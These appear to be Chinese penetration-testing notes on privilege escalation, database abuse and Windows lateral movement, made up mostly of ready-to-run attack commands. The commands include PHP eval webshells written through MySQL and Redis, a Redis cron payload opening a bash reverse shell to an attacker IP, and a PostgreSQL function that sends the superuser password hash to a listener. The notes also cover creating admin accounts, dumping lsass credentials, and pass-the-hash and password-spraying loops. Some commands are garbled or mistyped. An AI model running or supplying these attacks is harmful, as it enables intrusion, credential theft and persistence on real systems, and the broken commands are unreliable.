  2. 进程调试(分析这个程序在运行的时候调用了那些dll)
    • 可以使用火绒剑进行分析
  3. 制作 dll 并上传(制作后门dll去替换原有的dll)
  4. 替换 dll
  5. 启动msf进行监听
  6. 启动应用
  7. 令牌窃取(结合上面的步骤)

不带引号服务路径

该提权方法多用于本地提权,能用于window server2012

当Windows服务运行时,会发生以下两种情况的其中一种

  • 给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行
  • 服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例

对如c:\program files (x86)\grasssoft\macro expert\MacroService.exe这条路径,系统会按照以下顺序执行:

c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe

假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell

可以使用以下命令查看系统中错误配置的路径

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

不安全的服务权限

服务是操作系统的核心,经常以特权访问的方式运行,因为它们可能需要访问操作系统中受限的文件、注册表键等来执行任务。

由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

该提权只适用于本地提权

过程:

  1. 使用AccessChk工具查看当前用户是否可以修改某个服务目录中的文件

    accesschk.exe -uwcqv "Administrators" *
    
  2. 可以选择创建一个服务,也可以选择本来的服务,将该服务的binpath改为上传的木马文件路径

    sc config "AppReadiness" binpath="C:\shell.exe"
    
  3. 配合msf就能得到system权限

linux

信息收集

可以用手动命令收集与自动脚本收集

手动命令收集
  1. 获取内核,操作系统和设备信息

    • 所有版本uname -a
    • 内核版本信息uname -r
    • 系统主机名字uname -n
    • 内核架构 uname -m Linux
    • 内核信息 cat /proc/version
    • CPU信息 cat /proc/cpuinfo
    • 发布信息
      • cat /etc/*-release
      • cat /etc/issue
    • 主机名 hostname
    • 文件系统 df -a
  2. 用户和组

    • 列出系统所有用户 cat /etc/passwd

    • 列出系统所有组 cat /etc/group

    • 列出所有用户密码(加密)cat /etc/shadow

    • 查询用户的基本信息 finger

    • 当前登录的用户 users who -a

    • 目前登录的用户 w

    • 登入过的用户信息 last

    • 显示系统中所有用户最近一次登录信息 lastlog

  3. 用户和权限信息

    • 当前用户 whoami

    • 当前用户信息 id

    • 可以使用sudo提升到root的用户(root) cat /etc/sudoers

    • 列出目前用户可执行与无法执行的指令 sudo -l

  4. 环境信息

    • 打印系统环境信息 env

    • 打印系统环境信息 set

    • 环境变量中的路径信息 echo $PATH

    • 打印历史命令 history

    • 显示当前路径 pwd

    • 显示默认系统遍历 cat /etc/profile

    • 显示可用的shell cat /etc/shells

  5. 服务信息

    • 查看进程信息 ps aux

    • 由inetd管理的服务列表 cat /etc/inetd.conf

    • 由xinetd管理的服务列表 cat /etc/xinetd.conf

    • nfs服务器的配置 cat /etc/exports

  6. 作业和任务

    • 显示指定用户的计划作业(root) crontab -l -u %user%

    • 计划任务 ls -la /etc/cron*

  7. 网络、路由和通信

    • 列出网络接口信息 /sbin/ifconfig -a

    • 列出网络接口信息 cat /etc/network/interfaces

    • 查看系统arp表 arp -a

    • 打印路由信息 route

    • 查看dns配置信息 cat /etc/resolv.conf

    • 打印本地端口开放信息 netstat -an

    • 列出iptable的配置规则 iptables -L

    • 查看端口服务映射 cat /etc/services

自动脚本收集

信息收集脚本:LinEnum、linuxprivchecker

漏洞探针脚本:linux-exploit-suggester、linux-exploit-suggester2

将脚本上传到服务器运行即可

SUID提权

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

设置SUID权限

  1. 原本文件权限为

    -rwx--x--x   1 css  css     80 7月  25 03:41 1.php
    
  2. 使用chmod u+s 1.php命令后,文件权限变为

    -rws--x--x   1 css  css     80 7月  25 03:41 1.php
    
  3. 可见权限中的x变为s

可以用suid提权的文件有:

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

以下命令可以查找系统上所有suid可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;

提权流程:

我们首先查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
/usr/bin/find
/usr/bin/chfn
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/ntfs-3g发现find信息,利用find提权执行命令
└─$ /usr/bin/find /etc/opt -exec whoami \;
root
在执行命令,提取成功。
└─$ find /etc/passwd -exec /bin/bash -p \;
bash-5.1#

vi提权

(1)在末行模式输入(即最后输入保存命令的地方)

:set shell=/bin/bash
:shell

(2)之后会退出vi,在shell中输入

export PATH=$PATH:/bin

Git提权

在shell输入:

sudo git -p help config
!/bin/sh
或者
sudo git -p help 
!/bin/bash

内核提权

内核提权著名的有脏牛漏洞

脏牛漏洞即CVE-2016-5195,在Linux内核中隐藏了十年之久

漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

exp下载:https://github.com/gbonacini/CVE-2016-5195
https://www.exploit-db.com/download/40611

编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

本地环境变量

该提权方式能实现的前提是有系统命令有suid权限

流程:

  1. 查找suid文件

    find / -perm -u=s -type f 2>/dev/null
    
  2. 假设ps命令与demo文件有suid权限,并且demo文件中有执行ps命令的代码,进入/bin目录将sh复制到/tmp目录下并改名为ps

    cp /bin/sh /tmp/ps
    
  3. 将/tmp设置为环境变量

    export PATH=/tmp:$PATH
    
  4. 执行demo文件后可以进入root权限的sh

本地定时任务

该提权有3种方式,分别为路径、命令、权限

路径问题

前提:root有计划任务test.sh,并且计划没有写绝对路径

计划任务默认调用路径为/usr/local/bin

可以将/bin目录的bash移动到/tmp里,然后赋予suid权限与test.sh执行权限

接下来等待test.sh执行即可

命令问题

前提:root有计划任务打包备份文件,且该计划打包备份文件夹中所有文件

创建打包备份脚本

echo 'cd /home/css/.php;tar czf /tmp/backup.tar.gz *' >backup.sh
chmod +x backup.sh

参数- czf的含义:将目录里所有文件打包成.tar后,并且将其用gzip压缩,生成一个gzip压缩过的包,命名为backup.tar.gz

流程:

  1. 在要打包的目录下创建三个文件:

    echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/css/.pip/test.sh
    echo "" > "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1
    
  2. 等待计划任务进行打包备份即可

原理:

  1. 定时任务打包时使用了将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给执行打包操作。

  2. 前几个文件都没问题,但是当打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件时,执行的相当于

    tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
    
  3. --checkpoint--checkpoint-action正好是tar命令的参数

  4. --checkpoint-action=exec=sh test.sh相当于执行sh,从输入流调用shell,然后再sh里面执行test.sh,而test.sh是将bash复制到/tmp目录,因此这里的bashsuid权限(相当于root执行chmod +s /tmp/bash)

权限问题

前提:管理员对一个文件设置777权限:chmod 777 test.sh

正常赋权为chmod +x test.sh(所有人都能执行)

更安全赋权为chmod u+x test.sh(只有创建用户才能执行)

若是发现777权限脚本,能进行覆写操作,将脚本代码改为:

cp bin/bash /tmp/bash;chmod +s /tmp/bash

执行后就能到/tmp文件里获得bash

数据库

信息收集

  1. 使用nmap探测端口来判断网站使用的数据库
  2. 若是获得网站数据库配置文件,可查看MYD表的内容来获取数据库密码

除 Access 数据库外,其他数据库基本都存在数据库提权的可能。

mysql

UDF

UDF全称是User Defined Function用户自定义函数,用于支持用户自定义函数,方便用户查询一些复杂的数据

提权工具有手动与工具

手动提权
  1. 查询数据库版本与安装位置(可以通过冰蝎提供的数据库查询功能来查看)

  2. 查询secure_file_priv的值(命令:show VARIABLES like '%secure_file_priv%'

    • secure_file_priv的值为NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

    • secure_file_priv的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权

    • secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

    • secure_file_priv可以在mysql的配置文件[my.ini]里面修改,但是重启数据库才能生效

  3. 使用以下命令在数据库目录下创建plugin目录:

    select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
    
    • mysql<5.1 导出目录 c:/windowssystem32

    • mysql=>5.1 导出安装目录mysql/lib/plugin/

  4. 在plugin目录内创建编写或者上传写好自定义函数的udf.dll文件

  5. 在连接工具里使用以下命令写入数据库中(按照实际情况修改):

    select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';
    或者
    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
    
  6. 接下来就能调用udf.dll文件内的函数了

工具提权

能使用的工具有大马与暗月

大马需要手动创建目录并导入(跟手动的流程差不多),暗月则是自动创建(网页打开就能运行)

MOF
  • mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"
  • 该文件的作用是每隔五秒就会去监控进程创建和死亡,就是说每隔一段时间系统会用系统权限执行该文件
  • MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
  • 使用MOF提权的前提
    • 当前mysql的用户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。
    • 系统为windows 2003及以下版本

流程:

  1. 将修改好的文件上传到服务器上

  2. 使用SQL语句将修改好的文件导入到c:/windows/system32/wbem/mof/

    select load_file("C:/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
    
启动项

将自定义可执行文件导入到启动目录后或写入服务器启动项,配合重启执行该自定义可执行文件

启动项目录:

1,开始菜单当前用户启动文件夹–

C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

2,开始菜单所有用户启动文件夹–

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

3,注册表当前用户开机启动项目录–

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4,注册表所有用户开机启动项目录–

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru
写shell

下面三种写shell的前提是

  • secure_file_priv不为NULL且不限定一个目录(如/var/lib/mysql-files)
  • 当前账户拥有读写权限

查询方式在UDF中有

  1. 直接写shell

    select '<?php eval($_POST["pwd"]); ?>' into outfile 'C:/phpStudy_pro/WWW/shell.php';
    
  2. 日志写shell

    • 先查看日志文件:SHOW VARIABLES LIKE 'general%';

    • 若为开启则开启记录:set global general_log = "ON";

    • 更改日志文件路径:set global general_log_file='C:\\xampp\\htdocs\\tieuhoc\\b.php'

    • 往日志里写一句话木马:select '<?php @eval($_POST[cmd]);?>';

  3. 新建表写shell

    • 建表:CREATE TABLE test( id text(200) not null);
    • 插入一句话木马语句:INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
    • 输出文件:SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';
    • 删除表来清除记录:DROP TABLE IF EXISTS test;
  4. 慢查询写shell

    • 查询属性:show variables like '%slow%'
    • 开启记录:set global slow_query_log=on;
    • 修改记录位置:set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'
    • 往日志里写一句话木马:select '<?php @eval($_POST[cmd]);?>' or sleep(10);

mssql

ms SQL是指微软的SQLServer数据库服务器,MySQL可以说是MSSQL的简化版本。

xp_cmdshell

xp_cmdshell是一个存储过程,默认在 mssql2000中是开启的,在mssql2005之后的版本中则默认禁止(这里2008就是禁用的)。

如果用户拥有管理员sa权限(前提)则可以用 sp_configure 重新开启它。

流程:

  1. 连接上数据库后用sql命令处执行该命令,就能成功的创建一个账户aaa并且加到管理员组

    exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
    
  2. 若执行失败,用该语句判断xp_cmdshell是否存在,若是返回1是存在的

    select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;
    
  3. 开启xp_cmdshell

    EXEC sp_configure 'show advanced options',1//允许修改高级参数 
    RECONFIGURE 
    EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展 
    RECONFIGURE
    
  4. 使用以下命令进行提权

    exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
    exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组
    
  5. 可以使用以下命令关闭xp_cmdshell

    exec sp_configure 'show advanced options', 1;reconfigure; 
    exec sp_configure 'xp_cmdshell', 0;reconfigure
    
sp_oacreate

在xp_cmdshell被删除的时候,可以考虑使用sp_oacreate

该提权方式主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。

开启:

exec sp_configure 'show advanced options',1;reconfigure; 
exec sp_configure 'ole automation procedures',1;recofigure;

关闭:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

提权(添加用户):

declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add" '
或者
declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test test /add', 'c:\windows\system32', '','1';
sqlserver沙盒

沙盒与虚拟机类似,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

沙盒中的所有改动对操作系统不会造成任何损失。

提权流程:

  1. 提权语句

    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
    
  2. 关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
    
  3. 查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

    exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
    
  4. 执行系统命令

    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators qianxun /add")')
    
  5. 可以恢复配置

    exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
    exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
    exec sp_configure 'show advanced options',0;reconfigure;
    

沙盒模式SandBoxMode参数含义

  • 0:在任何所有者中禁止启用安全模式
  • 1 :为仅在允许范围内
  • 2 :必须在access模式下
  • 3:完全开启

Oracle

Oracle数据库一般用于Java和jsp,如果jsp可以获取到后门的话,后门不需要提权,因为网站权限就是系统权限

  1. 普通用户模式:

    • 前提是拥有一个普通的Oracle连接账号。不需要DBA权限,可提权至DBA,并以Oracle实例运行的权限执行操作系统命令。
  2. DBA用户模式:

    • 拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。(DBA账号是Oracle的最高权限)

    • 使用Oracleshellv1.0工具,若账号是普通账号,选择普通模式,若账号是DBA账号,选择DBA模式。

  3. 注入提升模式

    • 拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。(前提是要有注入点)
    • 再配合Oracleshell进行命令执行

redis

利用条件:

  1. redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网。
  2. 没有设置密码认证导致存在未授权访问漏洞
  3. 服务器的redis账户的身份是root

下面介绍3中提权方法:

写shell

利用以下命令:

config set:快捷修改redis配置。
dbfilename :设置快照的文件名,默认是 dump.rdb
dir:默认redis文件保存路径

首先我们要猜到网站的目录地址,然后可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。

config set dir /var/www/html/  
config set  dbfilename shell.php  
set x "\r\n\r\n<?php eval($_POST[cmd]);?>\r\n\r\n"  
save\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。

然后利用蚁剑或中国菜刀进行连接即可

写ssh-keygen

流程:

  1. 利用命令在/root/.ssh/id_rsa文件夹下生成RSA公钥和私钥

    ssh-keygen -t rsa
    
  2. 通过该命令将公钥上传到靶机

    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    
  3. 在数据库中插入一条数据,将本机的公钥作为value,key值随意

    cat /root/.ssh/key.txt | redis-cli -h 192.168.244.128 -x set xxx
    
  4. 通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

    redis-cli -h 192.168.244.128 -p 6379 
    config set dir /root/.ssh 
    config set dbfilename authorized_keys 
    save
    
  5. 使用ssh命令连接靶机

    ssh 192.168.244.128
    
计划任务

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  • redis默认写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
  • redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
  • 系统的不同,crontrab定时文件位置也会不同
    • Centos的定时任务文件在/var/spool/cron/
    • Ubuntu定时任务文件在/var/spool/cron/crontabs/

流程:

  1. 在数据库中插入一条数据,将计划任务的内容作为value,key值随意

    redis-cli -h 192.168.244.128 -p 6379
    set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
    
  2. 修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

    config set dir /var/spool/cron/crontabs/ 
    config set dbfilename root 
    save
    
  3. 攻击机使用nc命令监听

    nc -nlvp 7777
    

Postgre

CVE-2018-1058

影响版本:9.3-10

原理:9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作

流程:

  1. 普通用户连接到数据库

    psql --host 192.168.144.1 --username vulhub 
    输入口令:vulhub
    
  2. 注入危险代码

    CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
        select dblink_connect((select 'hostaddr=192.168.144.1 port=1234 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
        SELECT pg_catalog.array_to_string($1,$2);
    $$ LANGUAGE SQL VOLATILE;
    
  3. 开启nc命令进行监听,等待超级用户登录触发后门

    nc -lvvp 1234
    
  4. 超级用户的身份使用pg_dump命令对数据库进行备份

    pg_dump -U postgres -f evil.bak vulhub
    
  5. 收到管理员密码

具体可以看该文章

CVE-2019-9193

影响版本:9.3-11.2

原理:9.3增加一个COPY TO/FROM PROGRAM功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

流程:

  1. 连接到postgres

    psql --host 192.168.204.136  --username postgres
    
  2. 执行如下语句,其中FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中

    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'id';
    SELECT * FROM cmd_exec;
    

内网渗透

当通过前期的信息收集,进行渗透攻击与权限提升后成功拿到一台通向外网的服务器的权限后
我们可以把这台服务器当作跳板,对内网里其他的主机进行渗透攻击

工作组与域环境的区别:

  • 工作组中每台计算机地位平等,没有一台服务器集中管理
  • 域环境中有一台服务器作为域控制器DC管理域中所有计算机

域用户和本地用户的区别:

  • 域用户:god/administrator
  • 本地用户:./administrator

在域环境中只要能成功拿下DC的权限,就能控制整个域,下面介绍方法

信息收集

主要收集当前服务器的计算机基本信息,为后续判断服务器在域环境中的角色、网络环境提供信息

命令

基本信息
  • systeminfo 详细信息
  • net start 启动服务
  • tasklist 进程列表
  • schtasks 计划任务
网络信息
  • ipconfig /all 判断存在域-dns
  • net view /domain 判断存在域
  • net time /domain 判断主域
  • netstat -ano 当前网络端口开放
  • nslookup 域名 追踪来源地址
用户信息

系统默认常见用户身份:

  • Domain Admins:域管理员(默认对域控制器有完全控制权)
  • Domain Computers:域内机器
  • Domain Controllers:域控制器
  • Domain Guest:域访客,权限低
  • Domain Users:域用户
  • Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)

用户收集:

  • whoami /all 用户权限
  • net config workstation 登录信息
  • net user 本地用户
  • net localgroup 本地用户组
  • net user /domain 获取域用户信息
  • net group /domain 获取域用户组信息
  • wmic useraccount get /all 涉及域用户详细信息
  • net group "Domain Admins" /domain 查询域管理员账户
  • net group "Enterprise Admins" /domain 查询管理员用户组
  • net group "Domain Controllers" /domain 查询域控制器

工具

mimikatz用于收集window各种密文,明文,口令等,具体命令看该文章

mimipenguin用于转储当前 linux 桌面用户的登录密码

LaZagne用于检索存储在本地计算机上的大量密码

XenArmor的作用与LaZagne一样,但是功能更强大,浏览器、WiFi、FTP的密码都可以发现,但是需要付费购买

nbtscan的作用与nmap相似,但是用于探测域内主机

Nishang集成了框架、脚本和各种payload,是基于PowerShell的渗透测试专用工具

横向渗透

横向渗透可以让被控制的主机横向渗透,拿下更多主机,下面介绍渗透其他主机的方法

明文传递

我们通过mimikatz的扫描获得了明文密码,就能使用明文密码去渗透其他主机,下面为能连接的方法

IPC

IPC(Internet Process Connection)是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。

建立 IPC 常见的错误代码

  • 5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
  • 51:网络问题,Windows 无法找到网络路径
  • 53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
  • 防火墙等问题
  • 67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 IPC$
  • 1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
  • 1326:账号密码错误
  • 1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
  • 2242:用户密码过期,目标有账号策略,强制定期更改密码

建立 IPC 失败的原因

  • 目标系统不是 NT 或以上的操作系统
  • 对方没有打开 IPC$共享
  • 对方未开启 139、445 端口,或者被防火墙屏蔽
  • 输出命令、账号密码有错误

利用流程:

  1. 建立 IPC 链接到目标主机

    相关命令:
    net use \\server\ipc$"password" /user:username # 工作组
    net use \\server\ipc$"password" /user:domain\username #域内例子:
    net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 
    
  2. 拷贝要执行的命令脚本到目标主机

    相关命令:
    dir \\xx.xx.xx.xx\C$\ # 查看文件列表
    copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
    copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
    net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
    net view xx.xx.xx.xx # 查看对方共享例子:
    copy add.bat \\192.168.3.21\c$
    
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本(计划任务是以system执行)

    at用于windowserver2008和以前
    at \\192.168.3.21 12:15 c:\add.batschtasks用于windowserver2012和之后
    schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F
    运行 adduser 任务
    schtasks /run /s 192.168.3.32 /tn adduser
    
  4. 删除 IPC 链接(不让对方发现)

    schtasks /delete /s 192.168.3.32 /tn adduser /f
    

明文HASH传递

我们通过mimikatz的扫描获得了HASH密码,就能使用HASH密码去渗透其他主机,下面为能连接的方法

atexec

atexec是Impacket网络协议工具包中的一个工具

下载地址:

https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/impacket-examples-windows
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/impacket

Impacket网络协议工具包详细介绍看该文章

明文连接:

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

HASH连接:

atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

自带命令

批量检测ip对应明文连接

FOR /F %%i in (ips.txt) do net use \%i\ipc$ "admin!@#45" /user:administrator

批量检测 IP 对应明文回显版

FOR /F %i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%i whoami

批量检测明文对应 IP回显版

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami

批量检测HASH 对应 IP 回显版

FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami

HASH传递

很多情况下使用工具获取明文密码是不允许的:

  • Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
  • Windows2012以下版本若安装KB2871997补丁,会导致无法获取明文密码

Windows系统LM HashNTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash

这个在mimikatz上可以发现有两个加密算法,一个是LM Hash,另外一个是NTLM Hash(基本只用关注这个)

获取windows哈希密码的两个工具:Pwdump7、QuarksPwdump

Procdump

Procdump是官方软件,可以用于获取目标主机的用户信息

Mimikatz属于第三方软件,上传到目标主机有可能被杀毒软件查杀

由于Procdump获取信息的文件不可读,所以可以使用本地的的Mimikatz打开Procdump获取的用户信息

生成信息命令:

procdump -accepteula -ma lsass.exe lsass.dmp

Mimikatz导入文件并获取密码:

sekurlsa::minidump lsass.dmp   #导入文件
sekurlsa::logonPasswords full  #获取密码
Hashcat

Hashcat用于对密码进行hash破解能破解各种格式的密码文件,但是密码字典很大,kali自带

官网:https://hashcat.net/hashcat/

HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。

这三个版本的主要区别

  • HashCat只支持CPU破解。
  • oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种。
  • oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。

如果只有单个密文进行破解的话,推荐使用oclHashCat-lite

爆破命令:

hashcat -a 0 -m 1000 hash file –force
  • a, --attack-mode=NUM 攻击模式,其值参考后面对参数。-a 0字典攻击,-a 1 组合攻击;-a 3掩码攻击。(这里是字典攻击)
  • -m 1000指向的是NTLM Hash哈希协议
  • hash 要破解的哈希字符串
  • file 字典的地址

SMB服务

SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web]连接和客户端与服务器之间的信息沟通。

利用SMB服务来进行远程执行的前提是445端口开放

psexec
  • psexecwindows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。
  • PsExec 也是一个轻型的 telnet 替代工具,它可以让我们无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。
  • 在微软官方Pstools工具包中,但是官方Pstools中的psexec只能明文连接,无法采用hash连接。
  • 如果需要hash连接,可以使用impacket工具包中的psexec,但是impacket非官方自带,容易被杀。

psexec连接方式有2种

  1. 先建立IPC链接,再通过psexec明文或hash传递

    net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
    psexec \\192.168.3.32 -s cmd    # -s 以 System 权限运行
    
  2. psexec直接用明文账号密码连接

    命令格式:
    psexec \\192.168.3.21 -u(用户) administrator -p(密码) Admin12345 -s(系统权限) cmd(运行cmd)哈希值连接:
    将impacket工具包中的psexec复制到域内连接:
    psexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec

smbexec在impacket工具包内,非官方自带,无需先ipc链接再明文或hash传递

该工具操作简单,但是容易被杀毒软件杀

命令:

smbexec god/administrator:Admin12345@192.168.3.21
smbexec god/administrator:Admin12345@192.168.3.21HASH连接:
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21

WMI 服务

WMI(Windows Management Instrumentation) 以服务名称winmgmt的形式运行,是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

自带 WMIC 明文传递,无回显

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c 
ipconfig >C:\1.txt"

自带 cscript 明文传递,有回显(需要wmiexec.vbs文件,不支持哈希

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

